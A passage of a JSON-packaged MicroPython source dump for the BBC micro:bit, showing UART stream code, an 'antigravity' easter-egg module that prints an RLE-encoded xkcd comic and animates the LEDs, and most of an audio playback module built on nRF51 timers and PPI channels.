},\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ODD), MP_OBJ_NEW_SMALL_INT(ParityOdd) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_EVEN), MP_OBJ_NEW_SMALL_INT(ParityEven) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_uart_locals_dict, microbit_uart_locals_dict_table);\n\n// Waits at most timeout_ms for at least 1 char to become ready for reading.\n// Returns true if something available, false if not.\nSTATIC bool microbit_uart_rx_wait(uint32_t timeout_ms) {\n    uint32_t start = mp_hal_ticks_ms();\n    for (;;) {\n        if (mp_hal_stdin_rx_any()) {\n            return true; // have at least 1 character waiting\n        }\n        if (mp_hal_ticks_ms() - start >= timeout_ms) {\n            return false; // timeout\n        }\n    }\n}\n\nSTATIC mp_uint_t microbit_uart_read(mp_obj_t self_in, void *buf_in, mp_uint_t size, int *errcode) {\n    (void)self_in;\n    byte *buf = (byte*)buf_in;\n    (void)errcode;\n\n    // make sure we want at least 1 char\n    if (size == 0) {\n        return 0;\n    }\n\n    // check there is at least 1 char available\n    if (!mp_hal_stdin_rx_any()) {\n        *errcode = EAGAIN;\n        return MP_STREAM_ERROR;\n    }\n\n    // read the data\n    byte *orig_buf = buf;\n    for (;;) {\n        *buf++ = mp_hal_stdin_rx_chr();\n        if (--size == 0 || !microbit_uart_rx_wait(microbit_uart_timeout_char)) {\n            // return number of bytes read\n            return buf - orig_buf;\n        }\n    }\n}\n\nSTATIC mp_uint_t microbit_uart_write(mp_obj_t self_in, const void *buf_in, mp_uint_t size, int *errcode) {\n    (void)self_in;\n    const char *buf = (const char*)buf_in;\n    (void)errcode;\n    mp_hal_stdout_tx_strn(buf, size);\n    return size;\n}\n\nSTATIC const mp_stream_p_t microbit_uart_stream_p = {\n    .read = microbit_uart_read,\n    .write = microbit_uart_write,\n    .ioctl = NULL,\n    .is_text = false,\n};\n\nconst mp_obj_type_t microbit_uart_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitUART,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = &microbit_uart_stream_p,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_uart_locals_dict,\n};\n\nmicrobit_uart_obj_t microbit_uart_obj = {\n    {&microbit_uart_type},\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modantigravity.cpp",
    "content": "\n/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n * Copyright (c) 2016 Joe Glancy\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n\nextern \"C\" {\n\n#include \"py/mphal.h\"\n#include \"microbit/modmicrobit.h\"\n\n#define GET_PIXEL(x, y) microbit_display_get_pixel(&microbit_display_obj, x, y)\n#define SET_PIXEL(x, y, v) microbit_display_set_pixel(&microbit_display_obj, x, y, v)\n\nSTATIC void antigravity_output_char(char c) {\n    MP_PLAT_PRINT_STRN((char*) &c, 1);\n}\n\n// NOTE: string has to be plain ASCII\nstatic void antigravity_print_rle(const char *s) {\n    /* RLE encoding format (2 characters, [0] (first) and [1] (second)):\n     * [0] the amount of times to output the specified character (max 127),\n     *     bitwise or'ed with 0x80 (to set the last bit, ie: bit 7)\n     * [1] the character to output\n     */\n    char reps;    // how many times to output the specified character\n    while (*s != '\\0') {\n        if ((*s & 0x80) == 0x80) {\n            // seventh bit set\n            reps = *s ^ 0x80;\n            s++;\n            if (*s == '\\0') {\n                return;\n            }\n            while (reps--) {\n                antigravity_output_char(*s);\n            }\n        }\n        else {\n            antigravity_output_char(*s);\n        }\n        s++;\n    }\n}\n\n/* uncomment the following line if you want to build the antigravity module with\n * the full comic instead of the micro one\n */\n//#define ANTIGRAVITY_COMIC_LARGE\n\nvoid antigravity(uint8_t interval = 200 /* ms */) {\n    /* move all of the LEDs upwards (we can move them in other directions in the\n     * future).\n     * first, output the traditional XKCD comic (either in full or micro:size :)\n     */\n    #ifndef ANTIGRAVITY_COMIC_LARGE\n    /* micro comic (157 bytes):\n    +-xkcd.com/353---------------------------------------------------+\n    |                                                                |\n    |                                                    \\0/         |\n    |                                                  /   \\         |\n    |        You're flying!                  MicroPython!  /|        |\n    |            How?                                      \\ \\       |\n    |            /                                                   |\n    |          0                                                     |\n    |         /|\\                                                    |\n    |          |                                                     |\n    |-----____/_\\______________________________----------------------|\n    |                                                                |\n    +----------------------------------------------------------------+\n    */\n    static const char *antigravity_comic_str =\n    \"+-xkcd.com/353\\xb3-+\\n\"\n    \"|\\xc0 |\\n\"\n    \"|\\xb4 \\\\0/\\x89 |\\n\"\n    \"|\\xb2 /\\x83 \\\\\\x89 |\\n\"\n    \"|\\x88 You're flying!\\x92 MicroPython!  /|\\x88 |\\n\"\n    \"|\\x8c How?\\xa6 \\\\ \\\\\\x87 |\\n\"\n    \"|\\x8c /\\xb3 |\\n\"\n    \"|\\x8a 0\\xb5 |\\n\"\n    \"|\\x89 /|\\\\\\xb4 |\\n\"\n    \"|\\x8a |\\xb5 |\\n\"\n    \"|\\x85-\\x84_/_\\\\\\x9e_\\x96-|\\n\"\n    \"|\\xc0 |\\n\"\n    \"+\\xc0-+\\n\";\n    #else\n    /* full comic (922 bytes):\n    +-xkcd.com/353-----------------------------------------------------------------+\n    |                                                                              |\n    |                                                              \\0/             |\n    |                                                            /   \\             |\n    |                 You're flying!                   MicroPython!  /|            |\n    |                     How?                                       \\ \\           |\n    |                     /                                                        |\n    |                   0                                                          |\n    |                  /|\\                                                         |\n    |                   |                                                          |\n    |--------------____/_\\_______________________________--------------------------|\n    |                                                                              |\n    |                                                                              |\n    +------------------------------------------------------------------------------+\n    +-----------------------+ +-------------------------+ +------------------------+\n    |                       | |    I dunno...       |   | |      I just typed      |\n    |         0             | |  Dynamic typing?   /    | |   import antigravity   |\n    |        _/\\\\_          | |    Whitespace?    /     | |                  |     |\n    |     /     \\//         | |    /             /      | |     That's it?  /      |\n    |   I learned it last   | |   |      Come join us!  | |     /          /       |\n    |   night! Everything   | |   |       Programming   | |    /    ...I also      |\n    |     is so simple!     | |   |      is fun again!  | |   /      sampled       |\n    |            /          | |   |      It's a  whole  | |  |  everything in the  |\n    |           /           | |   |       new  world    | |  |  medicine cabinet   |\n    |     Hello world is    | |   |        up here!     | |  |   for comparison.   |\n    |         just          | |   0                     | |   0         |          |\n    |                       | |  /|\\/                   | |  /|\\    But I think    |\n    | print(\"Hello, world!\")| |   |   \\_ But how are    | |   |     this is the    |\n    |                       | |  / \\     you flying?    | |  / \\      Python.      |\n    +-----------------------+ +-------------------------+ +------------------------+\n    */\n    static const char *antigravity_comic_str =\n    \"+-xkcd.com/353\\xc1-+\\n\"\n    \"|\\xce |\\n\"\n    \"|\\xbe \\\\0/\\x8d |\\n\"\n    \"|\\xbc /\\x83 \\\\\\x8d |\\n\"\n    \"|\\x91 You're flying!\\x93 MicroPython!  /|\\x8c |\\n\"\n    \"|\\x95 How?\\xa7 \\\\ \\\\\\x8b |\\n\"\n    \"|\\x95 /\\xb8 |\\n\"\n    \"|\\x93 0\\xba |\\n\"\n    \"|\\x92 /|\\\\\\xb9 |\\n\"\n    \"|\\x93 |\\xba |\\n\"\n    \"|\\x8e-\\x84_/_\\\\\\x9f_\\x9a-|\\n\"\n    \"|\\xce |\\n\"\n    \"|\\xce |\\n\"\n    \"+\\xce-+\\n\"\n    \"+\\x97-+ +\\x99-+ +\\x98-+\\n\"\n    \"|\\x97 | |\\x84 I dunno\\x83.\\x87 |\\x83 | |\\x86 I just typed\\x86 |\\n\"\n    \"|\\x89 0\\x8d | |  Dynamic typing?\\x83 /\\x84 | |\\x83 import antigravity\\x83 |\\n\"\n    \"|\\x88 _/\\\\\\\\_\\x8a | |\\x84 Whitespace?\\x84 /\\x85 | |\\x92 |\\x85 |\\n\"\n    \"|\\x85 /\\x85 \\\\//\\x89 | |\\x84 /\\x8d /\\x86 | |\\x85 That's it?  /\\x86 |\\n\"\n    \"|\\x83 I learned it last\\x83 | |\\x83 |\\x86 Come join us!  | |\\x85 /\\x8a /\\x87 |\\n\"\n    \"|\\x83 night! Everything\\x83 | |\\x83 |\\x87 Programming\\x83 | |\\x84 /\\x84 \\x83.I also\\x86 |\\n\"\n    \"|\\x85 is so simple!\\x85 | |\\x83 |\\x86 is fun again!  | |\\x83 /\\x86 sampled\\x87 |\\n\"\n    \"|\\x8c /\\x8a | |\\x83 |\\x86 It's a  whole  | |  |  everything in the  |\\n\"\n    \"|\\x8b /\\x8b | |\\x83 |\\x87 new  world\\x84 | |  |  medicine cabinet\\x83 |\\n\"\n    \"|\\x85 Hello world is\\x84 | |\\x83 |\\x88 up here!\\x85 | |  |\\x83 for comparison.\\x83 |\\n\"\n    \"|\\x89 just\\x8a | |\\x83 0\\x95 | |\\x83 0\\x89 |\\x8a |\\n\"\n    \"|\\x97 | |  /|\\\\/\\x93 | |  /|\\\\\\x84 But I think\\x84 |\\n\"\n    \"| print(\\\"Hello, world!\\\")| |\\x83 |\\x83 \\\\_ But how are\\x84 | |\\x83 |\\x85 this is the\\x84 |\\n\"\n    \"|\\x97 | |  / \\\\\\x85 you flying?\\x84 | |  / \\\\\\x86 Python.\\x86 |\\n\"\n    \"+\\x97-+ +\\x99-+ +\\x98-+\\n\";\n    #endif /* ANTIGRAVITY_COMIC_LARGE */\n\n    antigravity_print_rle(antigravity_comic_str);\n\n    for (uint8_t iteration = 0; iteration < 5; iteration++) {\n        mp_hal_delay_ms(interval);\n        bool wait = false;\n        for (uint8_t row = 1; row < 5 - iteration; row++) {\n            for (uint8_t col = 0; col < 5; col++) {\n                // move this bit down if possible\n                uint8_t val = GET_PIXEL(col, row);\n                if (val) {\n                    // this is why the row for loop starts at one\n                    if (!GET_PIXEL(col, row - 1)) {\n                        SET_PIXEL(col, row, 0);\n                        SET_PIXEL(col, row - 1, val);\n                        wait = true;\n                    }\n                } // we don't care if the LED is off\n            }\n        }\n\n        if (!wait) {\n            continue;\n        }\n    }\n}\n\nSTATIC mp_obj_t antigravity__init__(void) {\n    antigravity();\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(antigravity___init___obj, antigravity__init__);\n\nSTATIC const mp_map_elem_t antigravity_module_globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_antigravity) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&antigravity___init___obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(antigravity_module_globals, antigravity_module_globals_table);\n\nconst mp_obj_module_t antigravity_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&antigravity_module_globals,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modaudio.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"string.h\"\n\nextern \"C\" {\n\n#include \"gpio_api.h\"\n#include \"device.h\"\n#include \"nrf_gpio.h\"\n#include \"nrf_gpiote.h\"\n#include \"nrf_delay.h\"\n\n#include \"lib/ticker.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/obj.h\"\n#include \"py/objstr.h\"\n#include \"py/mphal.h\"\n#include \"py/gc.h\"\n#include \"microbit/modmicrobit.h\"\n#include \"microbit/modaudio.h\"\n\n#define TheTimer NRF_TIMER2\n#define TheTimer_IRQn TIMER2_IRQn\n#define TheTimer_Anomaly73_Addr (NRF_TIMER2_BASE + 0xC0C)\n\n#define DEBUG_AUDIO 0\n#if DEBUG_AUDIO\n#include <stdio.h>\n#define DEBUG(s) printf s\n#else\n#define DEBUG(s) (void)0\n#endif\n\nstatic void disable_gpiote(uint8_t channel)\n{\n    nrf_gpiote_task_configure(channel, 31, NRF_GPIOTE_POLARITY_TOGGLE, NRF_GPIOTE_INITIAL_VALUE_LOW);\n    DEBUG((\"GPIOTE disable channel %d\\r\\n\", channel));\n    nrf_gpiote_te_default(channel);\n}\n\nstatic void audio_gpiote_init(uint32_t pin, uint8_t channel)\n{\n    DEBUG((\"GPIOTE init. pin %d, channel %d\\r\\n\", pin, channel));\n    nrf_gpio_pin_clear(pin);\n    nrf_gpio_cfg(pin,\n                 NRF_GPIO_PIN_DIR_OUTPUT,\n                 NRF_GPIO_PIN_INPUT_DISCONNECT,\n                 NRF_GPIO_PIN_NOPULL,\n                 NRF_GPIO_PIN_H0H1,\n                 NRF_GPIO_PIN_NOSENSE);\n    nrf_gpiote_task_configure(channel, pin, NRF_GPIOTE_POLARITY_TOGGLE, NRF_GPIOTE_INITIAL_VALUE_LOW);\n    nrf_gpiote_task_enable(channel);\n}\n\nstatic void audio_ppi_disconnect(void) {\n    NRF_PPI->CHEN &= ~30;\n}\n\n/** Initialize the Programmable Peripheral Interconnect peripheral.\n */\nstatic void audio_ppi_init(uint8_t channel0, uint8_t channel1) {\n    DEBUG((\"PPI init. Channels %d, %d\\r\\n\", channel0, channel1));\n    NRF_TIMER_Type *timer  = TheTimer;\n    audio_ppi_disconnect();\n\n    /* Attach CLOCK[0] and CLOCK[1] to GPIOTE channel0\n     * CLOCK[2] and CLOCK[3] to GPIOTE channel1\n     * Use PPI channels 1-4 (I think 0 is used by twi) */\n    NRF_PPI->CH[1].EEP = (uint32_t)&timer->EVENTS_COMPARE[0];\n    NRF_PPI->CH[1].TEP = (uint32_t)&NRF_GPIOTE->TASKS_OUT[channel0];\n    NRF_PPI->CH[2].EEP = (uint32_t)&timer->EVENTS_COMPARE[1];\n    NRF_PPI->CH[2].TEP = (uint32_t)&NRF_GPIOTE->TASKS_OUT[channel0];\n    NRF_PPI->CH[3].EEP = (uint32_t)&timer->EVENTS_COMPARE[2];\n    NRF_PPI->CH[3].TEP = (uint32_t)&NRF_GPIOTE->TASKS_OUT[channel1];\n    NRF_PPI->CH[4].EEP = (uint32_t)&timer->EVENTS_COMPARE[3];\n    NRF_PPI->CH[4].TEP = (uint32_t)&NRF_GPIOTE->TASKS_OUT[channel1];\n\n    // Enable PPI channels.\n    NRF_PPI->CHEN |= 30;\n\n}\n\n\n/* Start and stop timer 1 including workarounds for Anomaly 73 for Timer\n* http://www.nordicsemi.com/eng/content/download/29490/494569/file/nRF51822-PAN%20v3.0.pdf\n*/\nstatic inline void timer_stop(void) {\n    TheTimer->TASKS_STOP = 1;\n    *(uint32_t *)TheTimer_Anomaly73_Addr = 0;\n    TheTimer->TASKS_CLEAR = 1;\n    TheTimer->CC[0] = 0xfffc;\n    TheTimer->CC[1] = 0xfffc;\n    TheTimer->CC[2] = 0xfffc;\n    TheTimer->CC[3] = 0xfffc;\n}\n\nstatic inline void timer_start(void) {\n    *(uint32_t *)TheTimer_Anomaly73_Addr = 1;\n    TheTimer->TASKS_START = 1;\n}\n\nstatic int32_t previous_value = 0;\nstatic int32_t delta = 0;\nstatic volatile bool running = false;\nstatic bool sample = false;\nstatic volatile bool fetcher_ready = true;\nstatic bool double_pin = true;\nstatic volatile int32_t audio_buffer_read_index;\nstatic const microbit_pin_obj_t *pin0 = NULL;\nstatic const microbit_pin_obj_t *pin1 = NULL;\n\n#define audio_buffer_ptr MP_STATE_PORT(audio_buffer)\n#define audio_source_iter MP_STATE_PORT(audio_source)\n\nvoid audio_stop(void) {\n    timer_stop();\n    audio_source_iter = NULL;\n    clear_ticker_callback(0);\n    running = false;\n    previous_value = 0;\n    delta = 0;\n    audio_ppi_disconnect();\n    disable_gpiote(0);\n    nrf_gpio_pin_write(pin0->name, 0);\n    microbit_obj_pin_free(pin0);\n    if (double_pin) {\n        disable_gpiote(1);\n        nrf_gpio_pin_write(pin1->name, 0);\n        microbit_obj_pin_free(pin1);\n    }\n}\n\nstatic int32_t audio_ticker(void);\n\n\n#define AUDIO_BUFFER_MASK (AUDIO_BUFFER_SIZE-1)\n\nstatic void init_pin(const microbit_pin_obj_t *p0) {\n    microbit_obj_pin_acquire(p0, microbit_pin_mode_audio_play);\n    pin0 = p0;\n    nrf_gpio_pin_write(pin0->name, 0);\n    audio_gpiote_init(pin0->name, 0);\n    audio_ppi_init(0, 0);\n    double_pin = false;\n}\n\nstatic void init_pins(const microbit_pin_obj_t *p0, const microbit_pin_obj_t *p1) {\n    microbit_obj_pin_acquire(p1, microbit_pin_mode_audio_play);\n    microbit_obj_pin_acquire(p0, microbit_pin_mode_audio_play);\n    pin0 = p0;\n    pin1 = p1;\n    nrf_gpio_pin_write(pin0->name, 0);\n    nrf_gpio_pin_write(pin1->name, 0);\n    audio_gpiote_init(pin0->name, 0);\n    audio_gpiote_init(pin1->name, 1);\n    audio_ppi_init(0, 1);\n    double_pin = true;\n}\n\n\n\nstatic void audio_data_fetcher(bool lock) {\n    if (audio_source_iter == NULL) {\n        audio_stop();\n        return;\n    }\n    /* WARNING: We are executing in an interrupt handler.\n     * If an exception is raised here then we must hand it to the VM. */\n    mp_obj_t buffer_obj;\n    if (lock)\n        gc_lock();\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        buffer_obj = mp_iternext_allow_raise(audio_source_iter);\n        nlr_pop();\n        if (lock)\n            gc_unlock();\n    } else {\n        if (lock)\n            gc_unlock();\n        if (!mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(((mp_obj_base_t*)nlr.ret_val)->type),\n            MP_OBJ_FROM_PTR(&mp_type_StopIteration))) {\n            // an exception other than StopIteration, so set it for the VM to raise later\n            //If memory error, add appropriate message.\n            mp_obj_exception_t *ex = (mp_obj_exception_t *)nlr.ret_val;\n            if (mp_obj_get_type(nlr.ret_val) == &mp_type_MemoryError) {\n                ex->args = (mp_obj_tuple_t *)mp_obj_new_tuple(1, NULL);\n                ex->args->items[0] = mp_obj_new_str(\"Allocation in interrupt handler\",\n                                                    strlen(\"Allocation in interrupt handler\"), false);\n            }\n            MP_STATE_VM(mp_pending_exception) = MP_OBJ_FROM_PTR(nlr.ret_val);\n        }\n        buffer_obj = MP_OBJ_STOP_ITERATION;\n    }\n    int32_t write_half = ((audio_buffer_read_index>>LOG_AUDIO_CHUNK_SIZE)+1)&1;\n    int32_t *half_buffer = (int32_t*)(((uint8_t *)audio_buffer_ptr) + (write_half<<LOG_AUDIO_CHUNK_SIZE));\n    if (buffer_obj == MP_OBJ_STOP_ITERATION) {\n        audio_source_iter = NULL;\n        memset(half_buffer, 0, AUDIO_CHUNK_SIZE);\n        fetcher_ready = true;\n        return;\n    }\n    if (mp_obj_get_type(buffer_obj) != &microbit_audio_frame_type) {\n        audio_source_iter = NULL;\n        MP_STATE_VM(mp_pending_exception) = mp_obj_new_exception_msg(&mp_type_TypeError, \"not an AudioFrame\");\n        return;\n    }\n    microbit_audio_frame_obj_t *buffer = (microbit_audio_frame_obj_t *)buffer_obj;\n    const int32_t *data = (const int32_t*)buffer->data;\n    half_buffer[0] = data[0];\n    half_buffer[1] = data[1];\n    half_buffer[2] = data[2];\n    half_buffer[3] = data[3];\n    half_buffer[4] = data[4];\n    half_buffer[5] = data[5];\n    half_buffer[6] = data[6];\n    half_buffer[7] = data[7];\n    fetcher_ready = true;\n    return;\n}\n\nstatic void audio_data_fetcher_no_gc(void) {\n    audio_data_fetcher(true);\n}\n\nstatic void audio_data_fetcher_allow_gc(void) {\n    audio_data_fetcher(false);\n}\n\n#define TICK_PER_SAMPLE (128/MICROSECONDS_PER_TICK)\n\n#define FIRST_PHASE_START 4\n#define SECOND_PHASE_START ((CYCLES_PER_TICK*TICK_PER_SAMPLE/4)+FIRST_PHASE_START)\n\nstatic inline void set_gpiote_output_pulses(int32_t val1, int32_t val2) {\n    NRF_TIMER_Type *timer = TheTimer;\n    if (double_pin) {\n        //Start with output zero; pins 00\n        if (val1 < 0) {\n            timer->CC[0] = FIRST_PHASE_START;\n            // -ve 10\n            timer->CC[2] = FIRST_PHASE_START-val1;\n            // zero 11\n        } else {\n            timer->CC[2] = FIRST_PHASE_START;\n            // +ve 01\n            timer->CC[0] = FIRST_PHASE_START+val1;\n            // zero 11\n        }\n        // Output zero; pins 11.\n        if (val2 < 0) {\n            timer->CC[3] = SECOND_PHASE_START;\n            // -ve 10\n            timer->CC[1] = SECOND_PHASE_START-val2;\n            // zero 00\n        } else {\n            timer->CC[1] = SECOND_PHASE_START;\n            // +ve 01\n            timer->CC[3] = SECOND_PHASE_START+val2;\n            // zero 00\n        }\n        //End with output zero; pins 00\n    } else {\n        timer->CC[0] = FIRST_PHASE_START;\n        timer->CC[1] = FIRST_PHASE_START+val1;\n        timer->CC[2] = SECOND_PHASE_START;\n        timer->CC[3] = SECOND_PHASE_START+val2;\n    }\n    timer->TASKS_CLEAR = 1;\n}\n\nstatic int32_t audio_ticker(void) {\n    int32_t val1 = previous_value + delta;\n    int32_t next_value = val1 + delta;\n    previous_value = next_value;\n    set_gpiote_output_pulses(val1>>4, next_value>>4);\n    if (sample) {\n        int32_t buffer_index = (int32_t)audio_buffer_read_index;\n        buffer_index = (buffer_index+1)&AUDIO_BUFFER_MASK;\n        int32_t next_sample = (int32_t)((uint8_t *)audio_buffer_ptr)[buffer_index];\n        if (double_pin) {\n            // Convert 0 to 255 to -256 to +254\n            next_sample = next_sample*2-256;\n        }\n       // Sample is set to 7/4 times the input to scale to output interval of 512 cycles.\n        // Actually mutiplied by 28 to account for divide by 16 when generating pulses.\n        next_sample = next_sample*28+8;\n        audio_buffer_read_index = buffer_index;\n        delta = (next_sample-next_value)>>2;\n        if ((buffer_index&(AUDIO_CHUNK_SIZE-1)) == 0 && fetcher_ready) {\n            fetcher_ready = false;\n            set_low_priority_callback(audio_data_fetcher_no_gc, AUDIO_CALLBACK_ID);\n        }\n    }\n    sample = !sample;\n    /* Need to be triggered twice per sample. */\n    return TICK_PER_SAMPLE/2;\n}\n\nstatic void audio_set_pins(mp_obj_t pin0_obj, mp_obj_t pin1_obj) {\n    const microbit_pin_obj_t *p0 = microbit_obj_get_pin(pin0_obj);\n    if (pin1_obj == mp_const_none) {\n        init_pin(p0);\n    } else {\n        const microbit_pin_obj_t *p1 = microbit_obj_get_pin(pin1_obj);\n        init_pins(p0, p1);\n    }\n}\n\nstatic int32_t pin_read_digital(const microbit_pin_obj_t *pin) {\n    nrf_gpio_cfg_input(pin->name, NRF_GPIO_PIN_NOPULL);\n    // Allow 1µs to settle.\n    nrf_delay_us(1);\n    return nrf_gpio_pin_read(pin->name);\n}\n\nstatic const microbit_pin_obj_t *big_pins[3] = { &microbit_p0_obj, &microbit_p1_obj, &microbit_p2_obj };\n\nstatic void audio_auto_set_pins(void) {\n    // Test to see if two of the \"big\" pins are connected by some sort of resistor.\n    uint32_t i, j, count;\n    bool usable[3];\n    if (microbit_obj_pin_can_be_acquired(&microbit_p0_obj)) {\n        usable[0] = true;\n        microbit_obj_pin_acquire(&microbit_p0_obj, microbit_pin_mode_unused);\n    }\n    if (microbit_obj_pin_can_be_acquired(&microbit_p1_obj)) {\n        usable[1] = true;\n        microbit_obj_pin_acquire(&microbit_p1_obj, microbit_pin_mode_unused);\n    }\n    if (microbit_obj_pin_can_be_acquired(&microbit_p2_obj)) {\n        usable[2] = true;\n        microbit_obj_pin_acquire(&microbit_p2_obj, microbit_pin_mode_unused);\n    }\n    for (i = 0; i < 2; i++) {\n        if (!usable[i])\n            continue;\n        const microbit_pin_obj_t *pin1 = big_pins[i];\n        nrf_gpio_cfg_output(pin1->name);\n        for (j = i+1; j < 3; j++) {\n            if (!usable[j])\n                continue;\n            const microbit_pin_obj_t *pin2 = big_pins[j];\n            for (count = 0; count < 4; count++) {\n                nrf_gpio_pin_set(pin1->name);\n                if (pin_read_digital(pin2) != 1)\n                    break;\n                nrf_gpio_pin_clear(pin1->name);\n                if (pin_read_digital(pin2) != 0)\n                    break;\n            }\n            DEBUG((\"Count: %lu\\r\\n\", count));\n            if (count == 4) {\n                init_pins(pin1, pin2);\n                return;\n            }\n        }\n    }\n    /* Set to default: single pin0 */\n    audio_set_pins((mp_obj_t)&microbit_p0_obj, mp_const_none);\n}\n\nstatic void audio_init(void) {\n    if (audio_buffer_ptr == NULL) {\n        audio_source_iter = NULL;\n        //Allocate buffer\n        audio_buffer_ptr = m_new(uint8_t, AUDIO_BUFFER_SIZE);\n    }\n    //NRF_CLOCK->TASKS_HFCLKSTART = 1;\n    NVIC_DisableIRQ(TheTimer_IRQn);\n    TheTimer->POWER = 1;\n    NRF_TIMER_Type *timer = TheTimer;\n    timer_stop();\n    timer->MODE = TIMER_MODE_MODE_Timer;\n    timer->BITMODE = TIMER_BITMODE_BITMODE_16Bit << TIMER_BITMODE_BITMODE_Pos;\n    timer->PRESCALER = 0; //Full speed\n    timer->INTENCLR = TIMER_INTENCLR_COMPARE0_Msk | TIMER_INTENCLR_COMPARE1_Msk |\n                        TIMER_INTENCLR_COMPARE2_Msk | TIMER_INTENCLR_COMPARE3_Msk;\n    timer->SHORTS = 0;\n}\n\nvoid audio_play_source(mp_obj_t src, mp_obj_t pin1, mp_obj_t pin2, bool wait) {\n    if (running) {\n        audio_stop();\n    }\n    audio_init();\n    if (pin1 == mp_const_none) {\n        if (pin2 == mp_const_none) {\n            audio_auto_set_pins();\n        } else {\n            mp_raise_TypeError(\"cannot set return_pin without pin\");\n        }\n    } else {\n        audio_set_pins(pin1, pin2);\n    }\n    audio_source_iter = mp_getiter(src, NULL);\n    sample = false;\n    fetcher_ready = true;\n    audio_buffer_read_index = AUDIO_BUFFER_SIZE-1;\n    memset(audio_buffer_ptr, 128, AUDIO_BUFFER_SIZE);\n    audio_data_fetcher_allow_gc();\n    timer_start();\n    running = true;\n    set_ticker_callback(0, audio_ticker, 80);\n    if (!wait) {\n        return;\n    }\n    while(running) {\n        if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) {\n            return;\n        }\n        __WFE();\n    }\n}\n\nSTATIC mp_obj_t stop() {\n    audio_stop();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(microbit_audio_stop_obj, stop);\n\nSTATIC mp_obj_t play(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_source, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} },\n        { MP_QSTR_wait,  MP_ARG_BOOL, {.u_bool = true} },\n        { MP_QSTR_pin,   MP_ARG_OBJ, {.u_obj = mp_const_none } },\n        { MP_QSTR_return_pin,   MP_ARG_OBJ, {.u_obj = mp_const_none } },\n    };\n    // parse args\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n    mp_obj_t src = args[0].u_obj;\n    mp_obj_t pin1 = args[2].u_obj;\n    mp_obj_t pin2 = args[3].u_obj;\n    audio_play_source(src, pin1, pin2, args[1].u_bool);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_audio_play_obj, 0, play);\n\nbool microbit_audio_is_playing(void) {\n    return running;\n}\n\nmp_obj_t is_playing(void) {\n    return mp_obj_new_bool(running);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(microbit_audio_is_playing_obj, is_playing);\n\n\nmicrobit_audio_frame_obj_t *new_microbit_audio_frame(void);\n\nSTATIC mp_obj_t microbit_audio_frame_new(const mp_obj_type_t *type_in, mp_uint_t n_args, mp_uint_t 